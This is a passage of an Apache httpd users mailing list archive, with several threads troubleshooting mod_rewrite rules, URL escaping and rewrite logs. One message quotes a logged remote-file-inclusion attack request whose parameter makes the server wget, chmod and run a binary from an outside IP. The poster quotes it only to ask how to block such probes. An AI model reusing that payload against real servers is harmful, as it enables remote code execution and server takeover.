^(/plugin|plugin)/(.*) /index.php?url=$1/$2 [L,QSA] RewriteRule ^/search/(.*) /index.php?url=/search/$1 [L,QSA] RewriteRule ^/comments/(.*) /index.php?url=/comments/$1 [L,QSA] RewriteRule ^(serendipity\.css|serendipity_admin\.css) index.php?url=/ $1 [L,QSA] RewriteRule ^index\.(html?|php.+) index.php?url=index.html [L,QSA] RewriteRule ^htmlarea/(.*) htmlarea/$1 [L,QSA] However, the first [L] should cause the second rule to not be reached, assuming that the [R] isn't meant to be there as you pointed out in the OP. ... And the last three rules shouldn't do anything (but let's let that drop). Aside from the nagios one that I added, this is the standard set of rules for a serendipity (www.s9y.org) install. I have tried commenting out all of them (completely breaking my site, of course) except for the nagios one, but I still wind up at the index page when I try accessing /nagios. The Directory block for the root directory (which this is all running out of) is the following: This looks like a general case of mod_rewrite overuse. It's often a better idea to use a blanket rewrite with exceptions for static files and then let the application split the url from the environment. But that's not your problem :) Directory /WebServer/Documents Options -Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny Allow from all RewriteEngine On /Directory Just an aside, don't mix relative and absolute Options. That directive does what you probably think it should but it wouldn't if -Indexes weren't the first argument and besides: Options FollowSymLinks MultiViews has the same effect and requires less typing. the rest of my httpd.conf is default, the only other parts I have edited being the server name and UseCanonicalName directives. I could potentially edit the php file, but I really don't know php- my programing skills are primarily limited to shell scripting and C+ + :) Where would I stick that code, or would that depend on the script (as I suspect would be the case)? It is the serendipity index.php file if you want to download it and take a look. Thank you VERY much for your help. I greatly appreciate it :) Hrmph, I don't seem to be really helping much. About the script, php is a pretty brute-force and ignorance kind of environment so just adding: phpinfo(); die(); to the start of the script after the opening ?php tag will show you what's getting passed in, just in case the problem is with the app. -- noodl PS. I'm about to pass out for a few hours, good luck : ) - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On Fri, Mar 03, 2006 at 02:58:44PM +, Matthew Claridge wrote: I'm using version 2.0.46, with Resin (not that important whats behind apache...). I have the following config set up to rewrite some elements of our dynamic URLs: RewriteEngine On ProxyMaxForwards 200 RewriteLog /var/log/httpd/driveline/driveline-staging.rewrite.log RewriteLogLevel 3 RewriteRule ^/(.*)dinoissesj(.*)$ /$1jsessionid$2 [N,P] RewriteRule ^/(.*)__E__(.*)$ /$1=$2 [N,P] RewriteRule ^/(.*)__A__(.*)$ /$1$2 [N,P] RewriteRule ^/(.*)__Q__(.*)$ /$1?$2 [N,P] The problem is that our URLs include hashes ('#'), which are escaped as '%23' in the actual URL. What seems to be happening, from looking at the rewrite log file, is that Apache successfully processes all those rewrite rules, but in the process of actually processing the initial request, converts all the %23s to #s. Have you tried adding the 'NE' flaga to your flagset: [N,P,NE] ? --n Thanks for the suggestion, but this doesn't seem to make any difference at all. We've come up with another possibility, that it may actually be Apache that is throwing away everything after the first '#' (or%23) it encounters in the url. Either way, it seems like Apache is still converting our %23s to #s and is still refusing to rewrite them back again :-) Back to the drawing board Matt - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] mod_rewrite problem
Hi, I've got a bit of an issue with mod_rewrite and I was hoping someone could give me a little help :-) I'm using version 2.0.46, with Resin (not that important whats behind apache...). I have the following config set up to rewrite some elements of our dynamic URLs: RewriteEngine On ProxyMaxForwards 200 RewriteLog /var/log/httpd/driveline/driveline-staging.rewrite.log RewriteLogLevel 3 RewriteRule ^/(.*)dinoissesj(.*)$ /$1jsessionid$2 [N,P] RewriteRule ^/(.*)__E__(.*)$ /$1=$2 [N,P] RewriteRule ^/(.*)__A__(.*)$ /$1$2 [N,P] RewriteRule ^/(.*)__Q__(.*)$ /$1?$2 [N,P] The problem is that our URLs include hashes ('#'), which are escaped as '%23' in the actual URL. What seems to be happening, from looking at the rewrite log file, is that Apache successfully processes all those rewrite rules, but in the process of actually processing the initial request, converts all the %23s to #s. At the end of the process, apache passes the url to resin with the #s in place. Unfortunately, Resin falls over if you put hashes in the URL! So, I need to do one of two things: 1. Stop apache replacing the escape sequences 2. Get mod_rewrite to replace all the #s with %23s again! I've tried option 2, but mod_rewrite doesn't seem happy doing that...Does anyone have any good ideas?? cheers, Matt - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On Fri, Mar 03, 2006 at 02:58:44PM +, Matthew Claridge wrote: I'm using version 2.0.46, with Resin (not that important whats behind apache...). I have the following config set up to rewrite some elements of our dynamic URLs: RewriteEngine On ProxyMaxForwards 200 RewriteLog /var/log/httpd/driveline/driveline-staging.rewrite.log RewriteLogLevel 3 RewriteRule ^/(.*)dinoissesj(.*)$ /$1jsessionid$2 [N,P] RewriteRule ^/(.*)__E__(.*)$ /$1=$2 [N,P] RewriteRule ^/(.*)__A__(.*)$ /$1$2 [N,P] RewriteRule ^/(.*)__Q__(.*)$ /$1?$2 [N,P] The problem is that our URLs include hashes ('#'), which are escaped as '%23' in the actual URL. What seems to be happening, from looking at the rewrite log file, is that Apache successfully processes all those rewrite rules, but in the process of actually processing the initial request, converts all the %23s to #s. Have you tried adding the 'NE' flaga to your flagset: [N,P,NE] ? --n -- Neil! Your bed's on fire! - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
Matthew Claridge wrote: The problem is that our URLs include hashes ('#'), which are escaped as '%23' in the actual URL. What seems to be happening, from looking at the rewrite log file, is that Apache successfully processes all those rewrite rules, but in the process of actually processing the initial request, converts all the %23s to #s. At the end of the process, apache passes the url to resin with the #s in place. Unfortunately, Resin falls over if you put hashes in the URL! So, I need to do one of two things: [...] 2. Get mod_rewrite to replace all the #s with %23s again! There are some bugs; the substitution is not escaped again while passing the string to mod_proxy. AFAICR there is a patch for mod_rewrite.c available in the bugzilla database. You might also try to use a RewriteMap with the internal function 'escape' (int:escape) in order to escape your substitution. -- Robert - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] mod_rewrite problem
I have been having some problems with creating a RewriteRule using mod_rewrite. I keep getting attacks that look like this:GET /cache/index2.php?_REQUEST[option]=com_content_REQUEST[Itemid]=1GLOBALS=mosConfig_absolute_path= http://213.97.113.25/cmd.gif?cmd=cd%20tmp;wget%20213.97.113.25/giculz;chmod%20744%20giculz;./giculz;echo%20YYY;echo|Now Apache isn't allowing _REQUEST or GLOBALS, which is a good thing, but I would just as soon create a rule that will send them to a customized page warning of the potential repercussions of Hacking, and scare the begeezs out of the script kiddies. I imagine that my rule would look something like this: RewriteRule ^*.(php|cgi|rb|htm|html)? |(_(REQUEST|SERVER|COOKIE)[*]$ YouGo'n2Jail.htmlIs this the correct syntax to get my desired result? This being my first attempt at using rewrite, I haven't been able to get it working at all. The only way that I have seen RewriteRule deployed is in between VirtualHost elements. Is this the only way to do it, or is there a way that you can do it server wide? I have the module loaded, is there anything needed other then the rule and RewriteEngine on?Thanks in advance for any help.
Re: [EMAIL PROTECTED] mod_rewrite problem
Tezyn Drasdin wrote: RewriteRule ^*.(php|cgi|rb|htm|html)? |(_(REQUEST|SERVER|COOKIE)[*]$ YouGo' n2Jail.html Is this the correct syntax to get my desired result? The QueryString does not match against the pattern of the RewriteRule, you must use a condition in order to check the QueryString like RewriteEngine on RewriteCond %{QUERY_STRING} (_(REQUEST|SERVER|COOKIE) RewriteRule \.(php|cgi|rb|htm|html)$ - [F] The only way that I have seen RewriteRule deployed is in between VirtualHost elements. Is this the only way to do it, or is there a way that you can do it server wide? You might include it from an external file into each virtualhost or place it into the main server config section while using in a virtualhost... RewriteEngine on RewriteOptions inherit otherwise the rules aren't being processed because the virtualhost overrides the main server config section. Consider the third-party module mod_security instead of mod_rewrite as well. -- Robert - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] mod_rewrite problem with cgi-bin pages`
I was revamping a website to use SSI, and changed all of the default pages to .shtml. I wrote an htaccess file (based upon the Apache 2.0 URL Rewriting Guide example Backward Compatibility for to migration) to do the following: -check to see if a file was of the format ^(.*default)\.html$ : does the requested file end with default.html -if so, check to see if there is a file in the same directory with the same name but a .shtml filetype -if there is, rename the request to .shtml -if not, permanently redirect the link to /404.html This would prevent users from accessing old pages (of which there are about 400), and send them to the new pages if they existed, or redirect them from any discontinued default pages. I can then, at my leisure, delete the old default pages. All other requests (including cgi-bin's) should process normally. However, when the htaccess file is placed in the webroot, any request to a cgi-bin file returns a 403 forbidden message. When it's removed, access is allowed. My htaccess file is as follows: -- RewriteEngine on RewriteBase / # 1. parse out basepath 'default', remember the fact that url had .html in WasHTML RewriteRule ^(.*default)\.html$ $1 [C,E=WasHTML:yes] # if document.shtml exists RewriteCond %{REQUEST_FILENAME}.shtml -f # 2. rewrite to default.shtml , redirect, skip following rule RewriteRule ^(.*)$ $1.shtml [R=permanent,S=1] # else if WasHTML RewriteCond %{ENV:WasHTML}^yes$ # 3.redirect to 404.html RewriteRule ^(.*)$ /404.html [L,R=permanent] ErrorDocument 404 /404.html --- Does anyone have an idea as to why this htaccess file does not allow cgi-bin access? I haven't been able to figure it out. Bruce Hodo - Webmaster, GetAwayNetwork, Inc. ==Providing unique vacation information on the World Wide Web== For Villas, Resorts, Hotels, Air/Hotel Packages, Charter Airfares === Visit us at http://getawaynet.com === - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 8/19/05, Nick Gushlow [EMAIL PROTECTED] wrote: Hey guys, I've got a working set of conditions and a rule, but I'm struggling to add another condition/rule. The code below is working and turns any request for http://domain/word into http://domain/index.php?site=$1 RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !^.*\.php RewriteCond %{REQUEST_URI} !^.*\.gif RewriteCond %{REQUEST_URI} !^.*\.jpg RewriteCond %{REQUEST_URI} !^.*\.htm RewriteCond %{REQUEST_URI} !^.*\.html RewriteCond %{REQUEST_URI} !^.*\.css RewriteCond %{REQUEST_URI} !^.*\.js RewriteCond %{REQUEST_URI} !^.*\.doc RewriteCond %{REQUEST_URI} !^.*\.pdf # Rewrite URL RewriteRule /([^/]*)$ /index.php?epp=$1 [L] I want to add a condition so that it skips the word abbey and continues as normal - eg http://domain/abbey just reads the abbey directory in htdocs - so I added RewriteCond %{REQUEST_URI} !^.*abbey(.*) A better way to short circuit is just to add a RewriteRule .*abbey.*- [L] before the existing rule. This keeps the URL unchanged. It seems to partially work, in mozilla it seems to work, but in IE I just get page cannot be displayed. Adding the trailing slash makes it work, so I'm guessing that mozilla has programming to auto try a trailing slash if it gets page not found. If your apache is 2.0.51 what happens when a user requests a URL not ending in a slash that refers to a directory is that apache sends a redirect to the correct location, wiith a slash. (see docs for mod_dir) Question is, what is wrong with my condition/rules that apache is not adding the trailing slash? -- note this is a virtual server and the other virtual servers on the same apache all handle the missing trailing slash so it's definitely something to do with my rewrite rules. It will probably not be the rewrite rules, as you made them so that nothing is done to the incoming URL when it contains the word abbey. Krist -- [EMAIL PROTECTED] Solothurn, Switzerland - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] mod_rewrite problem
I suggest the following configuration: RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$ RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L] I compacted the rewrite conditions and simplified the regexp. I added a ^ to the start of the rewrite rule, and a /? at the end just in case the path ended in a /. The tests I made seem conclusive... according to the logs below GET http://labelle16.foo.bar:81/toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) init rewrite engine with requested uri /toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (3) applying pattern '/([^/]*)/?$' to uri '/toto' 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (4) RewriteCond: input='/toto' pattern='!\.(php|gif|jpg|html?|css|js|doc|pdf)$' = matched 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) rewrite /toto - /index.php?epp=toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (3) split uri=/index.php?epp=toto - uri=/index.php, args=epp=toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) local path result: /index.php 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) prefixed with document_root to /u01/apachetest/htdocs/index.php 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (1) go-ahead with /u01/apachetest/htdocs/index.php [OK] GET http://labelle16.foo.bar:81/toto/abbey 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (2) init rewrite engine with requested uri /toto/abbey 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (3) applying pattern '/([^/]*)/?$' to uri '/toto/abbey' 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (4) RewriteCond: input='/toto/abbey' pattern='!\.(php|gif|jpg|html?|css|js|doc|pdf)$' = matched 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (4) RewriteCond: input='/toto/abbey' pattern='!abbey' = not-matched 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (1) pass through /toto/abbey GET http://labelle16.foo.bar/toto/index.php 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (2) init rewrite engine with requested uri /toto/index.php 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (3) applying pattern '/([^/]*)/?$' to uri '/toto/index.php' 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (4) RewriteCond: input='/toto/index.php' pattern='!\.(php|gif|jpg|html?|css|js|doc|pdf)$' = not-matched 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (1) pass through /toto/index.php - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] mod_rewrite problem
Uh Uh. Forgot to add the abbey stuff: RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$ RewriteCond %{REQUEST_URI} !abbey RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L] -Original Message- From: Axel-Stéphane SMORGRAV Sent: Friday, August 19, 2005 11:21 AM To: users@httpd.apache.org Subject: RE: [EMAIL PROTECTED] mod_rewrite problem I suggest the following configuration: RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$ RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L] I compacted the rewrite conditions and simplified the regexp. I added a ^ to the start of the rewrite rule, and a /? at the end just in case the path ended in a /. The tests I made seem conclusive... according to the logs below GET http://labelle16.foo.bar:81/toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) init rewrite engine with requested uri /toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (3) applying pattern '/([^/]*)/?$' to uri '/toto' 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (4) RewriteCond: input='/toto' pattern='!\.(php|gif|jpg|html?|css|js|doc|pdf)$' = matched 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) rewrite /toto - /index.php?epp=toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (3) split uri=/index.php?epp=toto - uri=/index.php, args=epp=toto 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) local path result: /index.php 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (2) prefixed with document_root to /u01/apachetest/htdocs/index.php 150.175.32.163 - - [19/Aug/2005:10:43:46 +0200] [labelle16.foo.bar/sid#16cfc8][rid#23dd78/initial] (1) go-ahead with /u01/apachetest/htdocs/index.php [OK] GET http://labelle16.foo.bar:81/toto/abbey 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (2) init rewrite engine with requested uri /toto/abbey 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (3) applying pattern '/([^/]*)/?$' to uri '/toto/abbey' 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (4) RewriteCond: input='/toto/abbey' pattern='!\.(php|gif|jpg|html?|css|js|doc|pdf)$' = matched 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (4) RewriteCond: input='/toto/abbey' pattern='!abbey' = not-matched 150.175.32.163 - - [19/Aug/2005:10:46:38 +0200] [labelle16.foo.bar/sid#16f6b0][rid#2478e0/initial] (1) pass through /toto/abbey GET http://labelle16.foo.bar/toto/index.php 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (2) init rewrite engine with requested uri /toto/index.php 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (3) applying pattern '/([^/]*)/?$' to uri '/toto/index.php' 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (4) RewriteCond: input='/toto/index.php' pattern='!\.(php|gif|jpg|html?|css|js|doc|pdf)$' = not-matched 150.175.32.163 - - [19/Aug/2005:11:11:42 +0200] [labelle16.foo.bar/sid#16f6b0][rid#23f8c0/initial] (1) pass through /toto/index.php - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] mod_rewrite problem
On Fri, 2005-08-19 at 11:24 +0200, Axel-Stphane SMORGRAV wrote: RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$ RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L] I compacted the rewrite conditions and simplified the regexp. I added a ^ to the start of the rewrite rule, and a /? at the end just in case the path ended in a /. NIcely done, I didn't think to try to compact the rules - my regexing skills are limited. Uh Uh. Forgot to add the abbey stuff: RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$ RewriteCond %{REQUEST_URI} !abbey RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L] ah fantastic, I'll give that a go.
Re: [EMAIL PROTECTED] mod_rewrite problem
First off thanks for your help, I clicked reply not reply all before so I wanted to say thanks publicly so I don't look too ungrateful. :-) On Fri, 2005-08-19 at 10:57 +0200, Krist van Besien wrote: RewriteCond %{REQUEST_URI} !^.*abbey(.*) A better way to short circuit is just to add a RewriteRule .*abbey.*- [L] before the existing rule. This keeps the URL unchanged. That rule didn't work for me and stopped the other rule working correctly. I need to get my test server back up got it down for other purposes atm, then I'll get some logs posted to show what happened. Nick - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On Fri, Aug 19, 2005 at 11:24:49AM +0200, Axel-St?phane SMORGRAV wrote: Uh Uh. Forgot to add the abbey stuff: RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$ RewriteCond %{REQUEST_URI} !abbey RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L] Just be aware that with /that/ 'abbey' rule, you'll catch 'abbey' *anywhere* in the URL, including as a subword of something, such as: http://www.example.com/directory/cities/blabbeyville/coffeeshops.html This may or may not be desired. =) --n -- Neil! Your bed's on fire! - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] mod_rewrite problem
Since the original suggestion was RewriteCond %{REQUEST_URI} !^.*abbey(.*) I think this is what was desired... and btw the () was unnecessary for since it was never referenced. -ascs -Original Message- From: Noah [mailto:[EMAIL PROTECTED] Sent: Friday, August 19, 2005 5:09 PM To: users@httpd.apache.org Subject: Re: [EMAIL PROTECTED] mod_rewrite problem On Fri, Aug 19, 2005 at 11:24:49AM +0200, Axel-St?phane SMORGRAV wrote: Uh Uh. Forgot to add the abbey stuff: RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$ RewriteCond %{REQUEST_URI} !abbey RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L] Just be aware that with /that/ 'abbey' rule, you'll catch 'abbey' *anywhere* in the URL, including as a subword of something, such as: http://www.example.com/directory/cities/blabbeyville/coffeeshops.html This may or may not be desired. =) --n -- Neil! Your bed's on fire! - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]